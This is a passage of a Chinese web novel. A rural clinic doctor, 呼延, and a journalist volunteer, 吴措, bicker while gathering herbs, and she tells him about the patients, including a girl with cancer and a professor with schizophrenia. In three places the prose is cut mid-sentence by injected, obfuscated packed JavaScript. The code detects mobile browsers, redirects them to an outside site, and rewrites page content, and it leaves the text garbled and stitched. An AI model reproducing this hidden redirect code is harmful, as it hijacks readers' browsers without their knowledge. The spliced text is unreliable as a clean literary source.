很明显吴措就是知道她没由头发难,毕竟是她亲口说不让他跟着的,他作为外来人员,自己又不认路,有充分理由原路折回。 “起来。”呼延咬了咬牙,指着吴措身下的躺椅,“这是我的椅子。” 吴措没动,左手倒着右手捏了颗瓜子放嘴里,“原来是你的。” “缝隙里的饼干屑和桔子皮帮你清理好了,不用谢。”他说。 人嗑瓜子的时候吧,嘴巴是有点往两边扯的,这就和“微微一笑”这个表情很像,搭配上此情此景此话,呼延觉得吴措贱得令人发指。 呼延:“我说要谢你了吗?你有没有觉得你这个人脸皮挺厚呢。” “这都被你发现了?够心细的啊,要不怎么你是医生,我只能当个志愿者呢。” 吴措慢悠悠把瓜子皮吐出来,呼延觉得自己大脑被气得有点缺氧。 呼延拳头攥起来了,“没完了是吧,你起不起来——” “起,您说起我立马起。”吴措没给她发挥的机会,把手里的瓜子壳扔垃圾桶,拍了拍手,又掸了两下裤腿,终于‘立马’起来了。 呼延以前是真的点火就能着的性格,后来被陆离磨得好很多了。 陆离告诉她一句话,人心隔肚皮,说不准谁是好人谁是坏人。 尤其是不要在没有露出过底牌的人面前暴露情绪。 吴措的底牌是什么。 呼延不在意。 她看向吴措,“吴措,你耐打吗?” “又开始胡说八道。” 宋殊的声音从背后响起来,阴恻恻冷飕飕的。 大约是自己刚才违抗懿旨在前,呼延很自觉地以为这时候宋殊过来是来兴师问罪了。 不过呼延的原则是从不内耗,永远责怪他人,坚决不反思自己,所以她回头瞪了眼吴措,放下狠话:“你给我等着。” 吴措抬了抬眉,大约也是知道呼延让他等什么。 “呼延医生挺喜欢让人等着。” 呼延再次回头比了个拳头让他闭嘴,转过头来又一脸视死如归的表情面对宋殊。 不过让呼延没料到的是,宋殊根本没问她把吴措扔下的事,只是询问了几句小黄豆的症状表现,又递给她几粒“糖丸”,看着呼延吞了下去。 宋殊:“早上又没吃是吧?回头感冒自己煮药吃。” “糖丸”是一些增强免疫力的药丸,呼延这几年总感冒,宋殊亲自给她配了药。 “讲点礼貌成么?不然别人还以为我给你撑腰让你横行霸道呢。”宋殊还是不免把呼延念了一通,又朝着吴措道,“昨儿刚下了雨山路不好走,小心着点,让呼延在前面带着,她路熟。” 呼延撇着嘴:“我一定不是亲生的。” 宋殊都没理她,“我先过去了,回头见。” 还是只朝吴措打了招呼。 呼延对于她妈的差别对待……气在心头口难开。 不过她额外意识到宋殊这短短几句话包含了一个很严重的信息:吴措没和宋殊告状。 至少这回没有。 她这边刚想明白这件事,身后懒散的声音响起,“不用愧疚,我习惯了。” 呼延转过头来,“你哪只眼睛看出我愧疚了,还有,你习惯什么。” “你不是一直对我有意见么。”吴措抱着胳膊,两条长腿交叉倚着树干站着。 呼延:“你谁啊,我犯得着对你有意见么。” 这夹枪带棒的味儿,明显带着刺。 吴措一挑眉,“霸王餐?是吧。” 呼延一副“你还好意思提”的表情,摇了摇头,“看来脸皮厚到一定程度,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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呼延回忆起来,她昨天听到的那句“打打打我叫你打……”,原来说的是,打电话。 刘敏秀的店的确有过被来玩的游客举报物价虚高的前科,游客是个硬茬,一口气举报到了省里,事儿闹得挺大,刘敏秀的店被停业整改了一个月。 不过这已经是将近两年前的事儿了,这两年一直没再听说过有类似的事发生,呼延就没联想到这码事。 呼延再次从上到下扫了一遍吴措,他今天没戴眼镜,换了身休闲一点的长袖T搭配工装裤,腰间随意绑着件灰色外套,不过浑身上下透着的那股“精英味儿”比起昨天有过之无不及。 “精英味儿”在以游客为主要营收来源的桃源村这种小地方算不上什么好词,基本上可以和“冤大头”三个字划个等号,意味着兜里有钱还好面子,基本上不会为三百五百的闹得面红耳赤。 刘敏秀可能瞅准了吴措会闷声吃了这个哑巴亏,才耍机灵大着胆子再犯。 想到吴措最终还是去付了那496块钱,呼延就觉得吧,别说,刘姐看人还真挺准,可不就是一纯冤大头么。 给吴措扣上这么个名号,呼延气忽然都顺了不少,她心情大好抱起胳膊:“知道是被宰还去付,上赶着当冤大头的我还是头一回见,家里有矿啊。” 呼延眉毛一抬,“要不这么着,您既然这么有钱,我们小院眼下金融危机,支援点呗?” 吴措:“可以啊。” 轮到呼延愣了一下,答应得这么爽快,她真遇到人傻钱多冤大头了? 不过看吴措那看戏似的表情,呼延又觉得事肯定没这么简单。 吴措没有辜负呼延对他的刻板印象,他手机在手里转了一圈,冲呼延扬了下眉,“从今天开始呼延医生跟着我干,工资给你开两倍,一倍给你,一倍给小院,怎么样,这笔生意还划算吧?” “我再问你一遍,”呼延转了转手腕,“吴措,你抗揍吗?” 吴措笑了下还没应声,呼延身后忽然传来“哗啦”一阵东西倒地的声音。 5. 克星 这一阵不算惊天动地,但也算暂时阻止了即将降临的腥风血雨的动静,来源于一张画架。 木制的,架子上夹了三张纸,底下有个抽屉,抽屉上放着几盒颜料,刚才的动静正是颜料从架子上滚落发出的声音。 而此刻,画架的主人正拿着笔,蹲下身茫然地摸索着。 呼延把颜料拾起,放到她手里,女孩握了握呼延的手,声音轻甜,“谢谢真真姐姐。” “什么时候回来的?星星。”呼延顺手把颜料按顺序整理好,问她。 向晚星穿着一身纱织的白色连衣裙,眼皮上缠绕着一条同样材质的丝巾,过分白皙的皮肤几乎要和脸上的白色丝巾融为一体,她抬手扶了扶丝巾,唇角抬起:“昨天晚上。回来很晚了,就没和你打招呼。” “这么晚怎么不在枥城住下呢,大晚上的跑来跑去。” 呼延握着星星纤细得如同细竹的手腕,帮她将笔尖落在颜料掉落前的最后一笔上。 是一朵颜色鲜妍的向日葵,还只是用近似红色的橙画了个花芯,整个画板看起来浓稠又热烈。 “在外面睡不着,还是在小院睡得香。”星星顺着自己方才的画继续画下去,“而且很想念孙姨的葱油饼,今天总算吃上了。” “被夜宵传染了啊你,这么嘴馋。”呼延抱臂笑着打趣星星,“化验报告给院长看过了吗?” 星星点点头,“嗯。院长说,一切尽在掌握中。” 呼延笑容明显轻松了不少,“我就说嘛,我们星星可是有福星庇佑的,吉人自有天相!” 呼延换了个站姿,双手掐起腰来,“那我就不打扰大画家作画咯——” “等一下。”向晚星忽然叫住了她,“刚才差点忘了。” 她从裙子侧边的口袋里掏出一张符纸出来,“老张给的,他说算到你这几日时运不齐,会遇克星,这符给你拿来保平安用的。” 呼延拿着符纸噗嗤一笑,“还是教授呢,封建迷信数他最起劲儿。” 说完十分意有所指地回头忘了眼,然后双手合十夹着符纸,闭眼喃喃,“天灵灵地灵灵,克星退散!克星消失!” 旁边看戏的终于开了口,“咒我啊。” “好有自知之明啊!”呼延睁开眼夸张感慨,又朝着向晚星道:“出门啦,星星在家守护好小院。” 向晚星拿着画笔的手在耳侧轻挥出一下,“保证完成任务!” 呼延弯腰从地上拾起装草药的筐子,背在肩上朝门口走,快到的时候回头,“那个看戏的,戏看够了没?” 吴措抱着胳膊,“意犹未尽。” 呼延仰面翻了个白眼,“说你胖喘上了还。看够了就跟上来。” “我听错了吗?这次不是让我‘远一点’了?”话这么说着,吴措的脚步慢悠悠跟着呼延走了出去。 人的脚步声和塑料袋还是不一样的,一路上呼延都在想这个问题,怎么就弄混了呢。 “那个女孩,星星。”吴措路边掐了根草在手里晃着,“是眼睛的问题吗?” 呼延:“你才眼睛有问题。” “呼延医生。”吴措一字一顿地拖着尾音,“我现在是在认真请教。” 呼延带着鼻音哼了一声,“没有,星星的眼睛很健康。至少现在是这样。” “现在?”吴措品了下这两个字。也就是说未来不一定。 “反正你早晚要了解,就当帮你熟悉业务了。”呼延扯了扯肩上的背带,“星星是肺癌。” 纵使做了些心理准备,吴措听到这两个字的时候还是愣了一下。 他只见了向晚星几分钟的时间,看起来是很开朗的小孩,也就十三四岁,正是生命力旺盛的年纪,怎么看也不像和癌症这种可怕的字眼能扯得上关系的。 “不需要这种表情。”呼延的语气平常,“已经有治疗方案了,现在情况稳定。” 吴措将手里秸秆已经掐断的野草随手扔到了路边,“麻烦呼延医生说话不要大喘气好么。” 呼延呵呵了声,“麻烦吴记者听话带点耐心好么。” 再次路过那边柑桔园,太阳已经升得很高,呼延深呼吸了一下,似乎能闻到果园深处还未盛开的果香味道。 到了秋天可以带星星一起来摘,呼延在心里想。 吴措:“所以,为什么她要用丝巾蒙着眼睛。” 呼延脚步停顿了一下,“你们记者问题都这么多的吗?” “是啊。”吴措不怎么认真地随口应了声,“不然靠猜来写新闻吗?” 走着路过一条干涸的沟渠,呼延眼睛向旁边扫了眼,看到棵升麻,蹲下来采下扔到自己的筐里。 “星星三岁的时候检查出肺癌,良性的,发现及时所以很快康复了。但癌症这种东西,就像是躲在暗处的鬼,它不见了不一定说明就是消失了。星星六岁的时候复发过一次,那次差点没熬过去,枥城的医生下了几次病危通知,但我们星星几次都挺过来了。十三岁,也就是去年,星星突然发了高烧,家里人有经验了,直接拉去急诊室,一查果然又是。” “也许是老天爷给她一次次熬过去的奖励或者说,补偿吧,年初医院新来了个国外留学回来的医生,确定新的治疗方案后,星星的病总算看到了希望。” “但在星星的人生里,生病的时候要比健康多,她把生病当成自己生命的一部分,她的健康已经习惯性为生病做好准备了。癌症晚期严重的时候可能会失明,如果到了这种情况都可以的话,生病听起来就没那么可怕了吧。” 呼延似乎完全没有在意吴措究竟有没有在听她说话、听到了多少,她自言自语一样的,一边说一边继续往前走。 已经到了山脚下,她沿着路边目光捕捉着各种野草的形状,除了宋殊要求的升麻和商陆,其他能当药材用的呼延全都一兜子往自己的草药筐里扔。 “听起来——”吴措停顿了一下,呼延偏偏头看他,吴措抬了抬眉,“很酷。” 对于大部分患病的人来说,他们期望从别人视角里看到的不是“同情”,而是“平常”,被当作一个平常人一样看待和评价。 呼延看着吴措的眼睛,“很酷”这两个字从他口中说出来的时候,呼延想,在星星眼中一定比“坚强”两个字更能让她高兴。 “很酷。”但呼延重复了一遍,“确实很酷。但除了很酷,还有别的选择吗?” 吴措和她的视线相对,他感觉到呼延的话还没说完,所以只是看着她,没有打断。 呼延:“老张。这个名字你刚才听到了吧?” “一点。”吴措说。 “老张36岁的时候就拿到教授职称了,化学,厉害吧?他是我见过最聪明的人了。”呼延向吴措扬了扬眉,随即又说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14432193|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 37岁,老张确诊了精神分裂,往后二十年的时间都是在精神病院度过的,这二十年足够他失去累计的名誉、金钱以及,家人。” 久病床前无孝子这句话并不客观,如果用“孝”来审判一个人对于忍受亲人病症的耐力其实是不公平的,就算是再冷静成熟善良的人,都很难长久地忍受这种命运被拉下水的感觉。 在老张精神分裂偶尔严重、偶尔正常的二十年里,所有和他的人生有着密切关联的人再也没有过上正常的生活,他的世界随着他的精神数度崩溃,他此前的三十六年拥有的一切一个接一个离开了他。 能来到小院的人基本上都带着一身支离破碎,比起疗身体上的伤,这里更像是他们的心理避难所,至少在这里,能得到片刻不被冷眼的安宁。 “金钱,荣誉,权力,对于这里的人来说已经不重要了,或者说,不是最重要的。”呼延将升麻根部的土甩掉扔进筐里,她定下脚步望着吴措。 “活着已经很难了。但所有人还是在用力活着。” 呼延:“所以吴措,不要打我们的主意。” 吴措看着她,锋利而冷淡的眉眼在阳光下明显,“你为什么会这么想。” 呼延反问他:“那你告诉我,你为什么会来这里?” “不要告诉我你只是来做志愿者积德的,全国有那么多需要志愿者的地方,你为什么偏偏选了这里。” 阳光晒在呼延的脸上,她的眼皮因为情绪的上涨而泛起一层很薄的粉红,山风吹过她的脸,她像一个斗士般昂首逼视着吴措。 咄咄逼人、直肠子、脾气很差。 吴措在心底笑了声。 和说的不太一样啊。 但,确实,很热心肠。 他像是在和谁说话,又更像是在自言自语。 “所以你觉得,我是想报道小院的事所以才来的这里?”吴措眼神轻轻淡淡看着呼延。 “你是怎么想的你自己最清楚。你们记者不都这样么。” “什么样?” “拿所谓的追求真相当挡箭牌,实则满足自己的利益和欲望。” 吴措看着呼延,也许并没有带着什么情绪,但呼延总觉得他的眼神里带着深邃又复杂的意味,像是要钻进她的眼睛里试图攫取她的灵魂。 “首先,我并没有这个打算。其次——” 他慢悠悠道:“好。” “……什么?” “我说。”吴措眼神淡然地看着呼延,“如果你觉得‘我不会报道任何关于小院的事情’这句话可以作为让你安心的保障的话,我说,好。” “我,吴措,在不经过呼延真同意的情况下,不会报道任何关于小院的事情。” 呼延的思维稍微停滞了一下。 在她的剧本里,吴措这时候应该要和她据理力争或者虚与委蛇,说些什么记者要尊重事实真相、挖掘世界未知视角之类冠冕堂皇的大话来搪塞她。就像她遇到过的所有记者一样。 可吴措直接说,好。 他回答得过于干脆,以至于呼延一时不知道自己该说些什么来回应,甚至还滋生出一丁点的愧意,觉得自己刚才的态度是不是有点过分了。 “所以。”呼延回回神。 所以吴措要离开小院了吧? “所以,”吴措说,“现在可以上山了吗?呼延医生。” 6. 误会 商陆在山腰处有零星几堆,升麻要再往山里树林深处再走一些距离,这是呼延这几年和宋殊、封筝“巡山”得到的情报。 雨后山路并不好走,灵沧山商业痕迹还不明显,大部分的路都是靠人脚踩出来的,一场雨浇下来已经陆陆续续沦陷成一堆带着水洼的泥坑。 呼延折了根树枝当作拄拐艰难走着。 “给我。”吴措的手向她伸过来。 山间清杳,偶有飞鸟掠过树丛的声音,和枝叶水滴掉落的声音,吴措的声音掺在其中,似乎也跟着空灵深远了许多。 吴措的手伸过来时,呼延注意到他的掌心有一道细细的旧疤痕,起始于虎口,切过三条掌纹,从手相上看是很不吉利的征兆——来自老张的知识体系。 可他的那双眼睛,呼延再次抬头和他对视着,似乎是被空寂山林的加持,干净澄澈而又平静沉稳,忽然变得…… 呼延瞬间转移了视线,把伸到身前拄着树枝的手收起来,“用不着。” 吴措将手里甩干了泥的重楼抛物线隔空扔到呼延身后的背篓里,笑得不行,“我说你的药筐。你以为是什么?” 呼延:“……” 这人!绝对是故意的! 呼延拽着自己背上的药筐,带着些咬牙切齿的意味道:“什么都用不着!不用你啊啊——” 话还没来得及说完,呼延的脚下忽然一空,吴措眼疾手快一把握住了她的手腕,还不忘逗她,“行这么大礼啊。” 呼延一个趔趄撞到吴措的肩膀上,药筐杵在腰上,手里的树枝折成两截,掌心都压出个痕,她疼得龇了下牙,硬是没吭声。 呼延甩开吴措的手,撤开一步看着他。 “不用谢。”吴措抱着胳膊,口气懒散。 呼延:“你——” “知道。”吴措很随手地把呼延身后背着的药筐摘下来,挂到自己另一侧的肩膀上,“没要谢是吧?” 肩膀上重量轻下来,呼延抬手转了转胳膊,掸了下落在自己肩膀和背上的细土,又瞄了吴措一眼。 吴措的皮肤很白,是那种像是很久没有被日照光顾的苍白。 但他的五官又不是清秀的那一挂,很立体,眼窝特别深,鼻梁又高,这种苍白极大削弱了他五官的锋利感,却显得他整个人有些冷淡。 “你又猜错了。”呼延抿嘴大步向前超过吴措,“我就要谢谢你。” 她再次一字一顿的腔调:“谢!谢!” 吴措抬眉笑了声,“有你这么说谢谢的么,阴阳怪气似的。不过还不错,收下了。至少你没骂我占你便宜。” “我也没那么不识好歹好吧。” “啧,呼延医生果然是,明察秋毫、知恩图报。” 呼延回头瞪他一眼,“现在是你在阴阳怪气了吧。” “没。”吴措否认,“真是真心的。虎妈无犬女,宋医生的女儿怎么也不能差到哪去吧。” 呼延眯眼看他,“你骂人真脏。” “你这人。夸你也不行?”吴措带着笑音下巴一抬。 呼延不愿再看他,继续往前走,“您老人家夸人比骂人还难听,以后少说话行么。” “得嘞。”吴措应声,跟了上去。 两个药筐不好平衡,吴措将其中一个里面的草药倒到另一个里,两个叠起来当作一个来背,倒完以后草药高度已经没过药筐的大半。 “天胡荽?”吴措捏着一棵边缘像是齿轮状的草药说。 “什么文绉绉的叫法。这玩意儿在我们这叫破钱草,不少人会把这个和铜钱草弄混。两个长得挺像,破钱草嘛破了点。”呼延瞥了一眼他,“竟然能认出来,还真做过功课啊。” 吴措扬眉:“我做的功课不止这些。” “了不起~”呼延转着长音,“知道个草药名字好了不起啊。” 吴措学她的话,“呼延医生夸人比骂人要好听一点。” 呼延顺杆子爬:“比你强吧,学着点。” “行。学。”吴措低头笑了一声。 他们一路走到半山腰的位置,药筐几乎满了。走到树林不算密集的地方,充沛的阳光照在地上,花草树木颜色鲜艳得油亮。 “我有一点一直很好奇,宋医生我记得不是中医出身吧?我们现在采的这些药材,是作什么用?”不知道是不是没话找话,吴措忽然问了这么一句。 呼延看着他,“她没告诉你?” 吴措:“没说过这些。” 呼延想了想,说:“我妈是外科医生,瑞士留学回来的,纯西医。但我外公是老中医,从小耳濡目染了一些,她又喜欢研究,学霸脑子,把我外公半辈子的精髓继承了个大半。没看出来吧,我们这么屁大点的小地方,还是个中西医结合医院。” 呼延折了根狗尾草放在手里编着,语气随意,“但采草药最主要的原因呢,是没钱。” “没钱买西药?”吴措问。 院里资金紧张这事宋殊和他讲过,但很快宋殊也补充,说是紧张其实也只是没那么宽裕而已,暂时还没到会影响运营的程度。 不过如果已经到了没钱买药的情况,那就不止是紧张这么轻松的说法了。 “是病人没钱。”呼延瞅了他一眼,“算了。我现在说了你也没有什么实感,对你来说几百块的药不算什么吧。” 呼延也不是纯粹看不惯吴措才这么说的,因为几百块对吴措来说的确不算什么。 他能轻易拿出来五百付一顿饭钱,这就不是像吴奶奶这样几个月都不见得能用五百的人能做到的。 “你多待几天就能知道了。”呼延懒得多说。 这个世界就是参差有别的,这种普天之下最平常的事情虽然没什么好抱怨的,但又确实会时常让人感觉无力。 “你是不是对我有什么误会?”吴措偏偏头看着她。 “又有误会了?”呼延不以为然。 吴措说:“我没你想象的那么有钱。” 呼延一挑眉,“但你也不穷。是吧?” 第一次见面时吴措用来挡雨的那个包logo不明显,后来呼延才回忆起来在北城逛街时看到过这个牌子,国外设计师品牌,平均价格大四位数。 呼延走着,随手从低处的灌木里摘了个果子,递过去,“来,尝一下,我们穷人的东西。” “什么。”吴措一开始没接过来。 呼延说:“不知道。” 吴措难以置信,“不知道你就敢吃?” “管它是什么,就算有毒,十步之内必有解药。就算没有解药,这儿离小院最多十分钟就跑回去了,死不了。”呼延满不在意。 吴措看着她,“是医生吗你,对生死也太草率了。” 不过还是接了过来,有点不情不愿的。 呼延嗔了他一下,“你这又是什么表情,怕我故意投毒啊。放心,法治社会。”就算想灭口也得用合理合法的手段。 吴措捏着手里紫色的小圆球三百六十度旋转了一圈,说实话,如果不是他亲眼看到呼延把这玩意儿从树上摘下来,他会怀疑这是某种动物的粪便。 “我没有别的意思,”吴措盯着果子看了半天后说,“但你刚才,是不是把果子摘下来后,在衣服上蹭了一下。” “对啊,不然怎么吃。”呼延理所当然。 她停了一下,又煞有其事地说:“这上面,可能沾着鸟粪呢,我帮你擦一下,不用谢。” 呼延欣赏着吴措变黑的脸,老半天后才慢悠悠说:“逗你呢。鸟也是有公德心的好吧。” “最多在上面撒尿。”呼延又说。 吴措:“……” 呼延医生这会儿心情大好,她发现看吴措脸黑吃瘪比平时逗夜宵好玩多了。 吴措这种五行欠收拾的命格,就得多让他吃点瘪。 笑完呼延表情收敛了点,“好了不逗你了。吃吧,不害你。” 吴措眉头还是皱着,没什么动作。 呼延翻了个白眼,一伸胳膊把果子抢了回来,“爱吃不吃。大少爷。” “天雨浇灌,腐叶为肥,再没有比这更干净的东西了。真是不识好歹。”呼延一边自言自语,一边准备将果子塞进嘴里。 “等等。” “后悔了?你想要啊——”呼延停下来,转头捏着果子朝吴措炫耀。 忽然,一滩温热的、有着流状质感的固态物质掉到了她的头上。 呼延像被这玩意儿点了穴,呆滞在原地。 如果她没猜错的话…… 吴措笑得快要说不出完整的话来,“这鸟……哈哈……真没有……哈哈……公德心……” 呼延缓缓闭上了眼睛。 她想尖叫的,但这样太没面子了。 虽然,脑袋上挂着相当大的一泡鸟屎这件事,本身就不是个很有面子的场面。 但人生嘛。 人生啊……太衰了!!! 呼延欲哭无泪,转身朝方才路过的泉水方向走。她觉得自己的表情现在应该还算沉稳,实际上已经扭曲得不成样子,吴措忍了好几忍才没有拿出相机给她拍下来。 “这果子,”吴措不知道什么时候已经摘了一大捧,跟着呼延往泉边走,“现在看起来,还挺漂亮的。” 到达目的地,呼延沉默洗头,不搭理他。 “嗯,味道也不错。”吴措在她上游洗果子,尝了一口,赞叹说。 呼延抄起水往头上浇,浇着浇着越想越气,动作大起来,扑腾着溅了吴措一身的水。 吴措:“不用给我洗,我头上没有鸟粪便。” 呼延这次假动作都不做了,直接捧起一捧水泼到吴措脸上,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14432194|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说话没人把你当哑巴!” “怎么又生气了。”吴措随手抹掉脸上的水,单手撑着下巴懒散一点,“那鸟又不是我支使的。” 呼延甩过去一记眼刀,“再说话就灭你口!” “不说。您专心洗。”吴措咬着果子半笑不笑看着她。 呼延一边洗着越想越气,气到头上一点也不憋着,转头就朝吴措吼:“要不是你叫我,那鸟能瞄准得这么正好吗?你说你刚才叫我干嘛,你现在最好是能说出来什么天大的事!” 吴措沉默了片刻,说:“我是想告诉你,你头顶有鸟,在、排、便。” 呼延:“::::::::::::” “把我的药筐还我!”呼延把湿漉漉的头发往后一甩,夺过吴措放在地上的药筐,“把我的药还我!” 呼延粗鲁地将几棵草药从筐里拿出甩到地上,也不管哪个是谁采出来的,三下五除二把草药分成了两堆,背起自己的药筐起身就走。 “跟你开玩笑呢。”吴措跟上去,带着有点哄她的语气,“对不住,我和你道歉,可以么?” 这个破人,回回道歉倒是道得飞快,道完不影响他继续欠揍犯贱。 呼延理都不想理他,脚步飞快往山下方向走。 吴措腿长,慢悠悠迈着步子不远不近跟着,“路滑走慢点,再趴下了我可拽不住你。” 呼延:“要你管!” 说完走得更快。 吴措是看出来呼延这回真气得不轻,摆正态度:“刚才我不该叫住你,也不该笑,更不该在你洗头的时候吃果子——” 呼延猛地停下来,吴措跟着刹车。 呼延:“你能闭嘴了么?” 吴措:“原谅我我就闭嘴。” 呼延吸了口气,“我没见过你脸皮这么厚的。” “这也算让你长见识了吧?”吴措打量着呼延,挑挑眉,“所以为了感谢我,原谅我?” 人在极度无语的时候,是真的会冷笑的。呼延算是体会到了。 呼延:“你妈没教过你别人不想说话的时候要保持沉默吗?” 吴措耸了耸肩,“我没妈。” 他这话说得太轻松自然了,就像说‘我没吃早饭’一样。 呼延怔忪一下,然后说:“我也没爸,扯平了。” 她转过身来,继续往前走。 山间清寂,周围风吹树叶响起细碎的声响。 “请我吃天仙配。”呼延忽然说,脚步仍旧往前走着。 这算是给台阶了,吴措大步迈着走到呼延并肩的位置,“天仙配?吃的?” “少问,就说你请不请吧。” 吴措回得很快:“当然请,就是满汉全席,只要呼延医生能消气,也得请。” 呼延不知想到什么,本来还张牙舞爪的一张脸舒展起来,嘴角还挂着点笑,她摆了摆脑袋,说:“那果子叫桃金娘。” 看起来呼延是真心情好起来了,主动往回翻篇解释。吴措说:“名儿挺有趣。” 呼延说:“是种药材,活血的,没毒。”一副自己宽宏大量放他一马的样子。 “你吃了几个?”呼延忽然看着吴措,嘴边带着不怀好意的笑。 “三……四个?”吴措不大确定。 呼延表情有些失望,“还以为吃了很多呢。” 吴措:“有什么讲究。” “也没什么。”呼延晃悠着脑袋,“就是这玩意儿吃多了会便秘。” 吴措:“……” 看着吴措再次吃瘪,呼延手里甩着根狗尾巴草,喜滋滋哼起了歌。 上一秒还气得吹胡子瞪眼,这会儿竟然开始哼歌了,吴措看着呼延轻笑了声,“心这么大,你一定没什么心事吧。” “想说我没心没肺就直说。”呼延满不在意,“反正我妈也老这么说我,我免疫了。” “你不是抵抗力差么,这么容易免疫。” “呵呵,真幽默——”呼延话没说完,半边视线被蒙头盖脸的一样东西遮住了,呼延扯下来一看,是吴措的外套。 “有病吧你吴措!”呼延恼了,又要扔回去。 吴措:“给你擦头发的,别到时候回去感冒了赖上我。” 衣服是棉麻的薄外套,细闻上面还有轻淡的薰衣草味儿,拿来擦头发也不是……是不行的! 呼延把外套塞到吴措手里,“现在什么天气啊,湿一下就能感冒,我没这么娇贵。而且我才不要用你的外套。” “系腰上的,没脏。”吴措以为她介意他穿过。 呼延抿了抿嘴,忽然说:“……桃金娘,我男朋友也挺喜欢吃的。” 身后传来长久的沉默,久到呼延以为吴措掉到某个她没注意到的坑里了,她转过头来,吴措站在她身后。 吴措:“你有男朋友?” 7. 真真 “你有男朋友?” 这个问题把呼延再次惹不高兴了,她眉心一拧,“什么意思,骂人啊。我怎么就不能有男朋友了。” 吴措的表情顿了下,“不是,我是说……算了,没事,我就随口一问。” 呼延哼了声,转过身继续朝山下走。雨后山林空气清新,她心情不错,决定暂时放过吴措一马。 不过这事似乎在吴措这儿还没过去,快走到山底的时候,吴措的声音又在她耳朵后面响起。 吴措:“你男朋友,做什么工作的。” “我男朋友啊。”呼延眯了眯眼睛,表情促狭道:“职业杀手,专门杀心怀不轨的人。” 吴措望着呼延的眼睛,长且直的睫毛往下压了压,视线在她的眼上停留片刻后,笑了声,“刚才给你递外套,你不会以为我就是对你有意思吧。” 呼延没吱声,两只手握着药筐的背带往下拽。 吴措下巴朝上扬了下,懒散一笑,“你一直都这么自恋的吗?” “对别人不是,但对你肯定是。”呼延说,“一脸烂桃花样。” “以貌取人啊。” 呼延理直气壮:“是啊。” 吴措呵了声,“放心,我还没绝望到这种程度。” 呼延:“……你最好是!” 这两人之间阴晴不定的氛围如果可以真的用天气表现出来,能累死俩天气预报员。 一路走一路互呛着,吴措被呼延带到了个菜市场。 说是菜市场,其实就是一个小规模的集市,位置在两个村子之间,在一个小广场上摆了几排石桌子,买菜买菜的人都操着当地的口音,十足的人间烟火气。 吴措习惯性拿出手机拍了几张照片,他问呼延:“这哪有吃东西的地方,你说的什么‘天仙配’,不会是坐在这石桌子边上吃生菜吧。胡萝卜配白萝卜?” “呵呵,真幽默。”呼延面无表情呵了一声,转头和几个买菜村民打招呼闲聊天。 她说的普通话,对方说的方言,也不知道是怎么懂彼此意思的。 打完招呼,呼延朝在后面拍照片的吴措说:“跟上,走丢了我可不负责。” 呼延带着吴措沿着集市往深处走,路过几个搭了棚子的小摊,最后走到一个角落放着一堆用黑布蒙着笼子的摊位上。 摊主是个皮肤黝黑的大叔,眉毛上带一道疤,五大三粗但很面善,见到呼延就笑起来,一张嘴露出一口大白牙。 大叔说的方言,吴措一句话没听懂,呼延朝大叔介绍吴措,“我们小院新来的义工。” 大叔瞅着吴措笑着点头,说了两句话,估计是在说客套话,所以吴措也朝对方点了点头。 两人沟通片刻,大叔做了个“等一下”的姿势,自己跑棚子后找什么东西去了。 “说什么了,到底是什么东西,神神秘秘的。” 吴措眼神往大叔的方向眺了一眼,什么也没看到。 他好奇心作祟,蹲下来准备掀开笼子上蒙着的黑布,被呼延阻止了,“别乱动别人东西。” 呼延也不说是什么,依旧保留悬念,“一会儿你就知道了。” 没一会儿大叔回来,递给呼延一个袋子,呼延拿了两张100的纸币给大叔,大叔说什么都不要,最后呼延扔下钱就拉着吴措跑了。 吴措从头到尾都没弄清楚呼延葫芦里卖的什么药,跑到一半的时候停下来。 吴措:“说好的我请客,怎么你还主动付上钱了。” 呼延也停下来,她抬起胳膊看了下布袋子,信口道:“我买食材你付饭钱,公平公正。你要实在过意不去,一会儿转我200,反正你钱多,是吧?”她冲吴措眨了眨眼。 吴措顺着她话说:“说了你买食材我付饭钱,我不能坏了你的规矩。” 呼延哂了他一下,“少爷还在乎这仨瓜俩枣。怎么,不做慈善了?” 吴措面无表情,“看你刚才甩钱那财大气粗的样儿,也不像是需要我做慈善的啊。” 呼延“呵呵!”两声,忿忿道:“果然有钱人才最抠!” 从集市离开,呼延带着吴措前往餐馆,路上她发短信给宋殊说了午饭和吴措在外面吃,让他们不用等。 吴措越走越觉得不对劲,这条路怎么这么眼熟呢,拐了个弯看到门口挂着的“刘姐饭馆”招牌,吴措才想起来,刘敏秀的饭馆是桃源村唯一的一家餐馆,他们要在外面吃,只要不往镇里走,怎么也逃不出这里。 还是肚子里有气的,变着法的来整他,吴措笑了声。 快到门口时,呼延发完消息从手机里抬头,表情带着玩味的调侃意味,“怎么样,饭还请吗?现在后悔还来得及。” 吴措唇角略抬了抬,神色淡定:“请,当然请。说好了请客,就是上刀山下火海也得请了。” “那倒不用。”呼延挑挑眉,“一会儿陪我吃就行。” 吴措品着呼延这句话里的意思,还没品出什么味儿来,门帘一开,刘敏秀从里面走出来,和他们撞了个面对面。 